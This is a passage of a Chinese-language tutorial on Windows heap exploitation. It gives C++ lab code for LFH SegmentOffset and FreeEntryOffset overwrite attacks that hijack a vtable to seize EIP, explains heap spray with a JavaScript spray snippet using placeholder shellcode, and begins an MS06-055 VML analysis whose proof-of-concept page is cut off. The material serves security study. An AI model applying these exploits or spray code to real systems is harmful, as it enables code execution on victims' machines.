Allocation 0x0d for 0x28 bytes => 08004343 43434343 43434343
Allocation 0x0e for 0x28 bytes => 02004242 42424242 42424242
Allocation 0x0f for 0x28 bytes => 62004141 41414141 41414141

4.5.2 SegmentOffset overwrite

1. 漏洞成因

​ 释放堆块时,有以下代码需要注意:

if (ChunkHeader-> UnusedBytes == 0x5)
ChunkHeader -= 8 * (BYTE)ChunkHeader-> SegmentOffset;

LFH上一个常规chunk如下:

通过溢出可以将其UnusedBytes和SegOffset覆盖掉:

​ 如果 UnusedBytes 为 5,那么 freedChunk 就需要微调一下。如果攻击者能控制 UnusedBytes 和 SegmentOffset,使得 freedChunk 微调后,指向另外一个堆块,那么前端堆会释放掉本不该被释放的堆块,这便是 SegmentOffset overwrite test

2. 利用方式

实验环境
环境 环境准备
虚拟机 32位Windows 7 SP1
调试器 OllyDbg、WinDbg
编译器 VS2013(只是刚好虚拟机有这个编译器,随便用什么都行)
编译选项 Release版本禁止优化(否则Windbg调试时很多局部变量被省略,显示不出来)
编译版本 Release/Debug(本次实验以Debug编译)
注意
1. 实际调试后,使用Debug编译后的程序,直接运行,产生断点异常之后再附加调试器,也可以激活LFH。只有一开始就使用调试器调试才不能激活LFH
2. 使用Release编译的程序,使用new/malloc申请的堆块结构不会多出0x24字节,是正常的堆块结构
3. 使用Debug编译需要注意,使用new/malloc申请的堆块结构会多出0x24字节,因为处于调试状态的CRT堆会将用户区数据包裹在如下结构里:
struct _CrtMemBlockHeader
{
_CrtMemBlockHeader* _block_header_next; //下一块堆空间首地址(实际上指向的是前一次申请的堆信息)
_CrtMemBlockHeader* _block_header_prev; //上一块堆空间首地址(实际上指向的是后一次申请的堆信息)
char const* _file_name;
int _line_number;
int _block_use;
size_t _data_size; //堆空间数据大小
long _request_number; //堆申请次数
unsigned char _gap[no_mans_land_size]; //上溢标志 fdfdfdfd
unsigned char _data[_data_size]; //用户操作的堆数据
//该数据前后4个字节被初始化为0xFD,用于检测堆数据访问过程中是否有越界访问
unsigned char _another_gap[no_mans_land_size]; //下溢标志 fdfdfdfd
};
实验原理
  1. 启动对应大小的堆块的 LFH
  2. 用 new 运算符创建一个类实例
  3. 连续分配两个堆块c1和c2,这两个堆块的大小必须和类实例的大小相同,因为需要和类实例的堆块相邻,使得经过微调之后,释放堆块时会释放掉'pc'所指向的堆块
  4. 实施堆溢出,将c2堆首进行覆盖,使后面释放c2时转向释放pc
  5. 释放堆块'c2',因为之前覆盖了'c2'的_HEAP_ENTRY,所以 HeapFree 真正释放的堆块是'pc'指向的堆块,即类实例
  6. 再分配一个堆块,并将堆块用户区的第 0x20-0x23 字节(虚表指针)改为恶意代码地址
  7. 最后,当调用类实例的虚函数时,eip 就被控制了
实验代码

main 调用 SegmentOffsetAttack

int attack_event = 2;
switch (attack_event) {
case 1:
// LFH segment attack
attack_size = 0x30;
SegmentOffsetAttack(GetProcessHeap(), attack_size);
break; case 2:
// LFH FreeEntryOffset attack
attack_size = 0x30;
FreeEntryOffsetAttack(GetProcessHeap(), attack_size);
break; default:
_tprintf(TEXT("No attack_test is triggered, so perform some test"));
break;
}

SegmentOffset overwrite test 示例代码

BOOL SegmentOffsetAttack(HANDLE hHeap, SIZE_T size)
{
// Activate 0x30 heap chunk managed by LFH in the default process heap
// Note: Why not use heap created just now in the main function?
// The reason is that new operator will allocate heap chunk from the default process heap
activateAttackSizeHeapChunk(hHeap, size); // First allocation
test_class *pc = new test_class(); // Used for debugger
__asm int 3; // The next two allocations
void *c1 = HeapAlloc(hHeap, 0, size);
void *c2 = HeapAlloc(hHeap, 0, size); // Overflow c1 chunk and overwrite c2 chunk
// Note: the test is performed in win7.
// In win8 however, before freeing heap chunk, some checks are performed
// which includes the check about heap chunk's _HEAP_ENTRY structure content.
// Therefore, if we overwrite c2 chunk's _HEAP_ENTRY in win8, the test would fail
int overwriteSize = 8; // 8 = sizeof(_HEAP_ENTRY)
memcpy_s(c1, size + overwriteSize,
segment_arr, size + overwriteSize); // Free c2
// Because of the overwriting , the heap chunk which actually will be freed
// is the class intance pointed to by pc variable
HeapFree(hHeap, 0, c2); // Call HeaoAlloc again to cover the vftable of the freed class instance
// After this coverage, vftable is 0x41414141
// 0x20 indicates the added bytes between _HEAP_ENTRY and thet real contents of pc class instance
void *c3 = HeapAlloc(hHeap, 0, size);
*(ULONG_PTR *)((char *)c3 + 0x20) = 0x41414141; // Call test_class's virtual function, get the control of eip
pc->test(3); // code should not get here return TRUE;
}

activateAttackSizeHeapChunk 函数

BOOL activateAttackSizeHeapChunk(HANDLE hHeap, SIZE_T size)
{
void *c = NULL; // For getting some adjancent free heap chunks, allocating more heap chunks of the same size,
// instead of just 0x12 heap chunks
for (int i = 0; i < 0x20; i++) {
c = HeapAlloc(hHeap, 0, size);
if (c == NULL)
return FALSE;
} return TRUE;
}

测试类 test_class

class test_class {

public:
virtual void test(int a) {
// Do soomthing interesting
a = 3;
} private:
// Note: when use new operator, allocationSize is added by 0x24,
// so we should define variables whose size should be 0x30 - 0x24 - 0x4(vftable) = 0x08
// In real situation, we should use this technic in the Application Specific Exploitation, which
// may be more complex.
//int a1, b1, c1, d1; //0x10
//int a2, b2, c2, d2; //0x20
int a3, b3/*, c3*/; //0x2c
// The last four bytes is vftable located in the first four bytes within its class instance
};

segment_arr 数组

char segment_arr[] = {
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05 // 8 bytes
};
实验过程

​ new 运算符在内部会调用 HeapAlloc 分配堆块,但是它是从进程默认堆中分配的。所以在实验中我们也需要使用进程默认堆,在main函数中调用SegmentOffsetAttack进行攻击时传入进程默认堆句柄。

  1. 启动对应大小的堆块的 LFH,在activateAttackSizeHeapChunk中循环申请了0x20此堆块,原因如下:

    因为在程序初始化的过程中也会使用默认堆,所以无法判断堆块大小为 0x38(用户区大小为 0x30)的 LFH 是否开启,因此为了保证通用性,需要在循环中多分配一些堆块, 保证之后的堆块分配都是连续的。

    为何多分配一些堆块,就可以使得空闲堆块连续?
    
    	如果 LFH 没有开启, 那么分配 0x12 次堆块肯定会得到连续的、空闲的堆块;
    如果 LFH 开启了,那么程序很可能在分配堆块之后又释放了一部分,因此使得 UserBlocks 的堆空间中零散分布着繁忙和空闲的堆块,所以在循环中多分配很多次,可以填满繁忙堆块之间的空闲堆块,使得剩余的空闲堆块都是连续的

    注意

    ​ 测试程序中只是演示性地把分配次数增加到了 0x20,在实际应用中,一般会分 配 0x300,0x400 多次,使得 LFH 再分配一片新的堆空间,这片堆空间的空闲堆块 就会是全部连续的

  2. 用 new 运算符创建一个类实例:从上面的代码段可以看出,如果该类的实例是局部变量,其大小是 sizeof(ptr) + sizeof(int) * 2 = 0x0C

    使用Release编译的程序,使用new/malloc申请的堆块是正常结构,大小为3个堆块粒度(3*8字节)

    对堆头进行解密:

    查看堆块详细信息:

    使用Debug编译的程序,使用new/malloc申请的堆块多出了0x24个字节,即用户区大小为 0x0C + 0x24 = 0x30

    因为处于调试状态的CRT堆会将用户区数据包裹在如下结构里:

    struct _CrtMemBlockHeader
    {
    _CrtMemBlockHeader* _block_header_next; //下一块堆空间首地址(实际上指向的是前一次申请的堆信息)
    _CrtMemBlockHeader* _block_header_prev; //上一块堆空间首地址(实际上指向的是后一次申请的堆信息)
    char const* _file_name; //源文件名
    int _line_number; //源文件行号
    size_t _data_size; //堆空间数据大小
    int _block_use; //块的类型
    long _request_number; //块序号
    unsigned char _gap[no_mans_land_size]; //上溢标志 fdfdfdfd
    unsigned char _data[_data_size]; //用户操作的堆数据
    //这个数据的前后4个字节被初始化为0xFD,用于检测堆数据访问过程中是否有越界访问
    unsigned char _another_gap[no_mans_land_size]; //下溢标志 fdfdfdfd
    };

    注意:如果检查到上溢标志和下溢标志改变了,那么就意味着溢出的发生。不过测试中覆盖类实例是在类实例被释放 后,所以这个不用担心。

  3. 连续分配两个堆块,这两个堆块的大小必须和类实例的大小相同,因为需要和类实例的堆块相邻,使得经过微调之后,释放堆块时会释放掉'pc'所指向的堆块, 分配结果如图:

    Release版本编译:申请大小为0xC的堆块而不是0x30

    Debug版本编译

    ​ 这三个变量指向的都是堆块的用户区,可看到它们之间的差值都是 0x38,即一 个堆块的大小。'pc'后是'c1','c1'后是'c2'

  4. 实施堆溢出,覆盖掉 'c2'所指向的_HEAP_ENTRY 头结构,将其覆盖为:

    Release版本编译:0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x06, 0x05

    Debug版本编译:0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05

    其中有三个需要注意的地方:

    1)前四个字节覆盖为0x00002

    2)最后一个字节,即_HEAP_ENTRY.UnusedBytes,设其为 0x05

    3)第 7 个字节,即_HEAP_ENTRY.SegmentOffset,控制微调的距离

    ​ Release版本编译:0x06表示 0x06 * 2 / 8 = 0x6,即微调时跳过两个堆块,这两个堆块就 是'c1'和'c2'

    ​ Debug版本编译:0xE 表示 0x38 * 2 / 8 = 0xE,即微调时跳过两个堆块,这两个堆块就 是'c1'和'c2'

    前四个字节覆盖为0x0002的原因

    ​ 以下是RtlFreeHeap函数调用RtlpLowFragHeapFree之前的判断,有四个检测点:

    1)检测堆块的指针是否为 0,如果为 0,返回错误

    2)检测_HEAP_ENTRY.UnusedBytes 是否为 0x05, 如果是,则继续判断。因为覆盖时 UnusedBytes 的值被修改为 0x05,所以继续判断

    3)检测标志,该标志是 RtlHeapFree 的 Flags 参数,而 该参数是从 HeapFree 传来的,真实情况下这个 Flags 一般是被写死的,其值为 0,所以该检测一般会通过

    4)调用 v9 函数结果 < 0

    v9 函数的来源:
    如果覆盖'c2'的_HEAP_ENTRY 时,其前 4 字节是 0 或者大于 3,那么 v9 为 0。v9 为 0 的后果就是访问异常,因为call 0 就是去执行 0x00000000 这个地址的指令。因此,这里需要将_HEAP_ENTRY 前 4 字节的值改成 1、2 或 3

    查看 RtlpInterceptorRoutines 数组:

    ​ 查看三个函数的实现,这三个函数没有敏感的操作,因此可推测即使执行了这些函数,对本次实验也不会有影响。结果证实确实如此,由于调用 RtlpStackTraceDatabaseLogPrefix 时,其返回 0,使得图中的 if 判断不成立, 从而返回错误。所以赋值为 0x0002,调用_RtlpStackTraceDatabaseLogPrefix函数

  5. 释放堆块'c2',因为之前覆盖了'c2'的_HEAP_ENTRY,所以 HeapFree 真正释放的堆块所在地址如下:

    freedChunk = freedChunk - _HEAP_ENTRY.SegmentOffset * 8 = 0x0035e108 - 0xE * 8 = 0x0035e098

    因此,即将被释放的是'pc'指向的堆块,即类实例

    如下为RtlFreeHeap掉用时进入_RtlpStackTraceDatabaseLogPrefix函数

  6. 再分配一个堆块,并将堆块用户区的第 0x20-0x23 字节设为 0x41414141。此时类实例的虚表被覆盖

    如下为新分配的堆块:

    覆盖虚表指针前:

    覆盖虚表指针后:

  7. 最后,当调用类实例的虚函数时,eip 就被控制了(实验中只是示例,实际上可以将0x41414141换成恶意代码的地址)

4.5.3 FreeEntryOffset overwrite

1. 漏洞成因

​ 在 UserBlocks 的 堆空间中,每一个空闲堆块的用户区的前两字节都保存着下一个空闲堆块的 FreeEntryOffset,如果能覆盖这两字节,那么就能够控制 _HEAP_LOCAL_SEGMENT_INFO.ActiveSubsegment.AggregateExchg.FreeEntr yOffset,从而控制接下来第二次被分配的堆块。如果能把接下来第二次分配的堆 块调整为类实例所在的堆块,那么就能够覆盖其虚表,从而控制 eip

2. 利用方式

实验环境
环境 环境准备
虚拟机 32位Windows 7 SP1
调试器 OllyDbg、WinDbg
编译器 VS2013(只是刚好虚拟机有这个编译器,随便用什么都行)
编译选项 Release版本禁止优化(否则Windbg调试时很多局部变量被省略,显示不出来)
编译版本 Release/Debug(本次实验以Debug编译)
注意
1. 实际调试后,使用Debug编译后的程序,直接运行,产生断点异常之后再附加调试器,也可以激活LFH。只有一开始就使用调试器调试才不能激活LFH
2. 使用Release编译的程序,使用new/malloc申请的堆块结构不会多出0x24字节,是正常的堆块结构
3. 使用Debug编译需要注意,使用new/malloc申请的堆块结构会多出0x24字节,因为处于调试状态的CRT堆会将用户区数据包裹在如下结构里:
struct _CrtMemBlockHeader
{
_CrtMemBlockHeader* _block_header_next; //下一块堆空间首地址(实际上指向的是前一次申请的堆信息)
_CrtMemBlockHeader* _block_header_prev; //上一块堆空间首地址(实际上指向的是后一次申请的堆信息)
char const* _file_name;
int _line_number;
int _block_use;
size_t _data_size; //堆空间数据大小
long _request_number; //堆申请次数
unsigned char _gap[no_mans_land_size]; //上溢标志 fdfdfdfd
unsigned char _data[_data_size]; //用户操作的堆数据
//该数据前后4个字节被初始化为0xFD,用于检测堆数据访问过程中是否有越界访问
unsigned char _another_gap[no_mans_land_size]; //下溢标志 fdfdfdfd
};
实验原理
  1. 启动对应大小的堆块的 LFH

  2. 用 new 运算符创建一个类实例

  3. 分配一个堆块(大小和类实例一样大)

  4. 进行溢出,将c指向堆块的下一个堆块的块首进行更改

  5. 将c指向堆块的下一个堆块的FreeEntryOffset 进行更改

  6. 再分配一个堆块,此堆块的分配使得 AggregateExchg.FreeEntryOffset 被修改为经过之前调整的值

  7. 再一次分配堆块,使用之前被更改过的 AggregateExchg.FreeEntryOffset ,此时分配会把类实例所在的堆块返回给调用者

  8. 获得类实例所在的堆块后,覆盖其虚表指针

  9. 调用类实例的虚函数,获 得 eip 的控制权

实验代码

main函数调用FreeEntryOffsetAttack

int attack_event = 2;
switch (attack_event) {
case 1:
// LFH segment attack
attack_size = 0x30;
SegmentOffsetAttack(GetProcessHeap(), attack_size);
break; case 2:
// LFH FreeEntryOffset attack
attack_size = 0x30;
FreeEntryOffsetAttack(GetProcessHeap(), attack_size);
break; default:
_tprintf(TEXT("No attack_test is triggered, so perform some test"));
break;
}

freeEntryOffset

char freeEntryOffset_arr[] = {
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x05, // 8 bytes
0x02, 0x00, 0x00, 0x00, 0x11, 0x22, 0x0E, 0x00, // 8 bytes Note: the last byte is 0x00
0x00, 0x00
};

FreeEntryOffsetAttack

BOOL FreeEntryOffsetAttack(HANDLE hHeap, SIZE_T size)
{ // Activate 0x30 heap chunk managed by LFH in the default process heap
// Note: Why not use heap created just now in the main function?
// The reason is that new operator will allocate heap chunk in the default process heap
activateAttackSizeHeapChunk(hHeap, size); // Firstly, allocate a heap chunk for test_class class instance
test_class *pc = new test_class(); // Allocater one heap chunk, whose size equals to 'size' parameter
void *c = HeapAlloc(hHeap, 0, size); // Used for debugger
__asm int 3; // Overflow the heap chunk which 'c' variable points to and overwrite next free heap chunk
// Note: After the overflow, the first two bytes of content of the next free heap chunk will
// hold an offset which indicates the heap chunk 'pc' variable points to will be allocated again after
// the third allocation of the same size
int overwriteSize = 8;
memcpy_s(c, size + overwriteSize, freeEntryOffset_arr, size + overwriteSize);
*(unsigned short *)((char *)c + size + overwriteSize) -= (unsigned short)((size + 8) * 3 / 8); // size + 8 = UserSize + sizeof(_HEAP_ENTRY) = 0x38 // The third allocation
// Note: current _INTERLOCK_SEQ.FreeEntryOffset is a relative offset to the heap chunk which 'pc' variable points to
c = HeapAlloc(hHeap, 0, size); // 'c' variable points to the heap chunk pointed to by 'pc' variable
// Note: When creating a class instance using new operator(malloc is called inside), 0x20 bytes is inserted
// between _HEAP_ENTRY and class instance content, so c = pc - 0x20
c = HeapAlloc(hHeap, 0, size); // Overwrite vftable of newly created class instance
*(ULONG_PTR *)((char *)c + 0x20) = 0x41414141; // Call test_class's virtual function, get the control of eip
pc->test(3); // code should not get here return TRUE; }
实验过程
  1. 启动对应大小的堆块的 LFH

  2. 用 new 运算符创建一个类实例:从上面的代码段可以看出,如果该类的实例是局部变量,其大小是 sizeof(ptr) + sizeof(int) * 2 = 0x0C

    这一步详细注意点可以看SegmentOffset,和那个是一样的

  3. 分配一个堆块(大小和类实例一样大),此时查看堆块信息:

  4. 进行溢出,将c指向堆块的下一个堆块的块首进行更改,更改后堆块数据如下:

  5. 将c指向堆块的下一个堆块的FreeEntryOffset 进行更改,FreeEntryOffset 的计算公式如下:

    *(unsigned short *)((char *)c + size + overwriteSize) -= (unsigned short)((size + 8) * 3 / 8);
    //其中'size + 8'为堆块的大小,3 表示越过三个堆块
    //FreeEntryOffset为 0x9c - ((0x30 + 8) * 3 / 8) = 0x0087

    更改前:

    更改后:

  6. 之后再分配一个堆块,此堆块的分配使得 AggregateExchg.FreeEntryOffset 被修改为经过之前调整的值,即上面做过减法的值 0x008c。由于 AggregateExchg.FreeEntryOffset 指示着下一个即将被分配的堆块,因此下一次分配会把类实例所在的堆块返回给调用者

    在Windbg中获得AggregateExchg.FreeEntryOffset 步骤如下:

    1)查看进程默认堆的_HEAP,找到FrontEndHeap

    2)查看_LFH_HEAP,找到LocalData

    3)查看_HEAP_LOCAL_DATA,找到SegementInfo

    4)查看_HEAP_LOCAL_SEGMENT_INFO,找到ActiveSubsegment

    5)查看_HEAP_SUBSEGMENT,找到AggregateExchg

    6)查看_INTERLOCK_SEQ,其FreeEntryOffset 为0x87

  7. 下一次分配:

  8. 获得类实例所在的堆块后,覆盖其虚表指针

  9. 调用类实例的虚函数,获得 eip 的控制权

5.Heap Spray:堆与栈的协同攻击

5.1 Heap Spray 简介

5.1.1 发展背景

​ 由于以下的保护技术,对于已有的栈溢出堆溢出攻击方法,大部分已经很难利用了

目的 保护技术
覆盖返回地址 通过GS保护
覆盖SEH链 通过SafeSEH、SEHOP保护
覆盖本地变量 可能被VC编译器经过重新整理和优化
覆盖空闲堆双向链表 通过safe unlinking保护
覆盖堆块头 XP下使用8位的HeaderCookie进行保护,VISTA之后使用XOR HeaderData
覆盖lookaside linked list Vista之后被移除

​ 所以攻击者还可以覆盖的函数指针,对象指针,比如在针对浏览器的攻击中,常常会结合使用堆和栈协同利用漏洞。

  • 当浏览器或其使用的 ActiveX 控件中存在溢出漏洞时,攻击者就可以生成一个特殊的 HTML 文件来触发这个漏洞。如 CVE-2012-1876
  • 不管是堆溢出还是栈溢出,漏洞触发后最终能够获得 EIP。(通过覆盖函数指针、对象指针、虚表指针的方法)
  • 有时我们可能很难在浏览器中复杂的内存环境下布置完整的 shellcode。
  • 页面中的 JavaScript 可以申请堆内存,因此,把 shellcode 通过 JavaScript 布置在堆中成为可能。

​ 但是堆分配的地址通常具有很大的随机性,把 shellcode 放在堆中很难定位。于是出现了 Heap Spray 技术。

5.1.2 Heap Spray 原理介绍

​ Heap Spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

​ 传统 slide code(滑板指令)一般是NOP指令,但是随着一些新的攻击技术的出现,逐渐开始使用更多的类NOP指令,譬如0x0C(0x0C0C代表的x86指令是OR AL 0x0C),0x0D等等,不管是 NOP 还是 0C,他们的共同特点就是不会影响 shellcode 的执行

5.1.3 Heap Spray 定义

​ Heap Spray只是一种辅助技术,需要结合其他的栈溢出或堆溢出等等各种溢出技术才能发挥作用。

​ 因此,Heap Spray是一种通过(比较巧妙的方式)控制堆上数据,继而把程序控制流导向ShellCode的古老艺术

5.2 Heap Spray 原理

5.2.1 用户空间内存分布

​ 在用户空间,各个类型数据在内存地址的分布大概为:栈 - 堆 – 全局静态数据 & 常量数据(低地址到高地址),其中全局静态数据和常量数量都是在操作系统加载应用程序时直接映射到内存的,一般映射的起始地址是0x 00400000,而应用程序依赖的DLL一般都映射在这个地址之后

​ 一个进程的内存空间在逻辑上可以分为3个部分:代码区,静态(全局)数据区和动态数据区。而动态数据区又有“堆”和“栈”两种动态数据。由分析结果可以发现堆的起始分配地址很低

5.2.2 Heap Spray 原理详解

1. 覆盖范围

​ 当申请大量的内存到时候,堆很有可能覆盖到的地址是0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等等几个地址,这也是为什么一般的网马里面进行堆喷时,申请的内存大小一般都是200M的原因,主要是为了保证能覆盖到0x0C0C0C0C地址、

2. slidecode(滑板指令)的选取标准

1)在 shellcode 前添加 slidecode 的原因

​ 如果要想 shellcode 执行成功,必须要准确命中 shellcode 的第一条指令,如果整个进程空间都是 shellcode,反而精确命中 shellcode 的概率大大降低了(概率接近0%),加上 slidecode 之后,这一切都改观了,现在只要命中 slidecode 就可以保证 shellcode 执行成功了。

​ 一般 shellcode 的指令的总长度在 50 个字节左右,而 slidecode 的长度则大约是 100 万字节(按每块分配1M计算),那么现在命中的概率就接近 99.99% 了。因为现在命中的是 slidecode。

2)slidecode 的选取标准

​ 执行 slidecode 的结果不能影响和干扰 shellcode>。

以前的做法

​ 使用NOP(0x90)指令来填充,譬如可以把函数指针地址覆盖为0x0C0C0C0C,这样调用这个函数的时候就转到shellcode去执行了

现在的做法

​ 现在为了绕过操作系统的一些安全保护,使用较多的攻击技术是覆盖虚函数指针(这是一个多级指针),这种情况下,如果依然使用0x90来做slidecode,而用0x0C0C0C0C去覆盖虚函数指针,那么现在的虚表(假虚表)里面全是0x90909090,程序跑到0x90909090(内核空间)去执行,直接就crash了。所以现在的 slidecode 可以也选取 0x0C0C0C0C

3. Heap Spray 的精确申请

​ 在实际申请内存中会减去一些额外数据,其中额外数据包括:堆块头数据,字符串的长度前缀,字符串的结尾 0 字符。

1)字符串

​ 以 JavaScript 字符串为例,在 javascript 中,字符串 “ABCD” 是以下面这种方式存储的:

大小 数据 结尾0字符
4字节 string 的长度 * 2 字节 2字节
08 00 00 00 41 00 42 00 43 00 44 00 00 00
2)堆块头的大小

​ 一般来讲每个堆块除了用户可访问部分之外还有一个前置元数据和后置元数据部分。

​ 前置元数据里面8字节堆块描述信息(包含块大小,堆段索引,标志等等信息)是肯定有的,前置数据里面可能还有一些字节的填充数据用于检测堆溢出。后置元数据里面主要是后置字节数和填充区域以及堆额外数据,这些额外数据(指非用户可以访问部分)加起来的大小在32字节左右(这些额外数据,像填充数据等是可选的,而且调试模式下堆分配时和普通运行模式下还有区别,因此一般计算堆的额外数据数据时以32字节这样一个概数计算

Size 说明
malloc header 32 bytes 堆块信息
string length 4 bytes 表示字符串长度
terminator 2 bytes 字符串结束符,两个字节的 NULL

5.2.3 Heap Spray 举例

​ 在使用 Heap Spray 的时候,一般会将 EIP 指向堆区的 0x0C0C0C0C 位置,然后用 JavaScript 申请大量堆内存,并用包含着 0x90 和 shellcode 的“内存片”覆盖这些内存。

​ 通常,JavaScript 会从内存低址向高址分配内存,因此申请的内存超过 200MB(200MB=200×1024×1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C 将被含有 shellcode 的内存片覆盖。只要内存片中的 0x90 能够命中 0x0C0C0C0C 的位置,shellcode 就能最终得到执行

可以使用如下的 JavaScript 产生的内存片来覆盖内存:

<script language="javascript">
shellcode = unescape("%u1234%u1234%u1234%u1234%u1234%u1234%u1234%u1234%u1234%u1234%u1234%u1234");
var nop = unescape("%u9090%u9090"); while (nop.length <= 0x100000 / 2)
{
nop += nop;
} nop = nop.substring(0, 0x100000 / 2 - 32 / 2 - 4 / 2 - shellcode.length - 2 / 2);
//nop=nop.substring(0,0x100000-32/2-4/2-2/2);
var slide = new Array(); for (var i = 0; i < 200; i++)
{
slide[i] = nop + shellcode;
// slide[i]=nop;
}
</script>

代码段解释如下:

  1. 每个内存片大小为 1MB
  2. 首先产生一个大小为 1MB 且全部被 0x90 填满的内存块
  3. 由于 Java 会为申请到的内存填上一些额外的信息,为了保证内存片恰好是 1MB,所以将这些额外信息所占的空间减去(堆块头、字符串长度前缀和字符串的结尾0字符)
  4. 在考虑了上述因素及 shellcode 的长度后,nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 )将一个内存片恰好凑成 1MB 大小。最终将使用 200 个这种形式的内存片来覆盖堆内存,只要其中任意一片的 nop 区能够覆盖 0x0C0C0C0C,攻击就可以成功

代码测试环境:Windows 2000 SP4

代码结果展示:

5.3 MS06-055 分析:实战 Heap Spray

​ MS06-055 指的是 IE 在解析 VML 标记语言时存在的基于栈的缓冲区溢出漏洞

5.3.1 矢量标记语言(VML)简介

VML 即矢量标记语言(Vector M arkup Language),IE 从 5.0 版本以后开始在 HTML 文件 中支持这种语言。在 Web 应用中如果需要绘制的图形比较简单,就可以使用矢量标记语言,用 文本方式告诉客户端一些关键的绘图坐标,浏览器按照 VML 语言格式解析了这些坐标之后就能绘出精确的图形。

举例

​ 有以下 html 代码:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>
failwest
</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head> <body>
<v:rect style="width:44pt;height:44pt" fillcolor="black">
<v:fill method="QQQQ" />
</v:rect>
</body> </html>

​ 在上述代码中,告诉浏览器以下绘图信息:

  • v:rect 绘制图形形状为矩形。也可绘制其他形状,如 Line、Polyline、Curve、l Roundrect 等。
  • style="width:44pt; 矩形宽为 44 个像素。
  • height:44pt 矩形高为 44 个像素。
  • fillcolor="black" 矩形用黑色绘制。

​ 即这一行 VML 代码告诉客户端在屏幕上绘制一个尺寸为 44×44 像素的颜色为黑色的正方形。用 IE 打开这个页面可以看到如图所示的效果

VML 优点

​ 使用 VML 语言,简单的图形只需要几个字节的矢量标记描述就能绘出,如果使用 JPEG 等图形文件格式来显示,将会增加很多网络传输的负荷。

VML 缺点

​ VML 语言在 Web 应用中已被广泛使用,但是 IE 在解析 VML 语言的某些数据域时没有做 字符串长度的限制,因此存在栈溢出漏洞。攻击者可以精心构造一个含有畸形 VML 语言的 网页,并骗取目标主机点击相关链接。当目标机的 IE 浏览器对这个网页进行解析并显示图形 的时候,漏洞将被触发,网页中的 shellcode 最终得到执行

5.3.2 MS06-055 被发现的过程

  • 2006 年 9 月 19 日,Sunbelt soft ware 公司的安全研究员首先截获了 Internet 上利用该漏洞的 0day 攻击,该 exploit 用于向目标主机安装木马程序。Sunbelt 立刻通知微软。当天,CVE报道了这个 0day,并编号为 CVE-2006-4868。
  • 几个小时后,美国计算机应急响应组(US-CERT)也报道了这个漏洞,并给出了一些简要的技术细节。
  • 2006 年 9 月 20 日,该 0day 的溢出攻击测试代码被“xsec”的“nop”发布。该攻击代码迅速在网络上传播开来。
  • 同一天,SecurityFocus 给出了该漏洞的应急处理措施。
  • 与此同时,国内的安全公司中联绿盟(NSFOCUS)在国内首先报道了该漏洞。
  • 2006 年 9 月 22 日,中国计算机应急响应组(CN-CERT)报道了该漏洞。
  • 2006 年 9 月 26 日,微软正式发布了针对该漏洞的安全补丁 MS06-055(kb925486)。
  • 2006 年 9 月 29 日,中国的安全公司启明星辰 (VENUS )报道了该漏洞

5.3.3 分析环境

环境 备注
操作系统 Windows 2000 SP4 Windows 2000 SP0~SP4 和 Windows XP SP1 均可
虚拟机 VMware Workstation 版本号:15.5 PRO
调试器 OllyDbg 版本号:1.10
反汇编器 IDA Pro 版本号:7.7
漏洞软件 Windows Internet Explorer 版本号:5.00.3700.1000 5.x 与 6.x 均可
漏洞模块 vgx.dll
目录:C:\Program Files\Common Files\Microsoft Shared\VGX
版本号:5.00.3014.1003 低于 6.0.2900.2997 即可

5.3.4 漏洞分析

1. POC 代码

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>
ms06-055
</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head> <body>
<v:rect style="width:44pt;height:44pt" fillcolor="black">
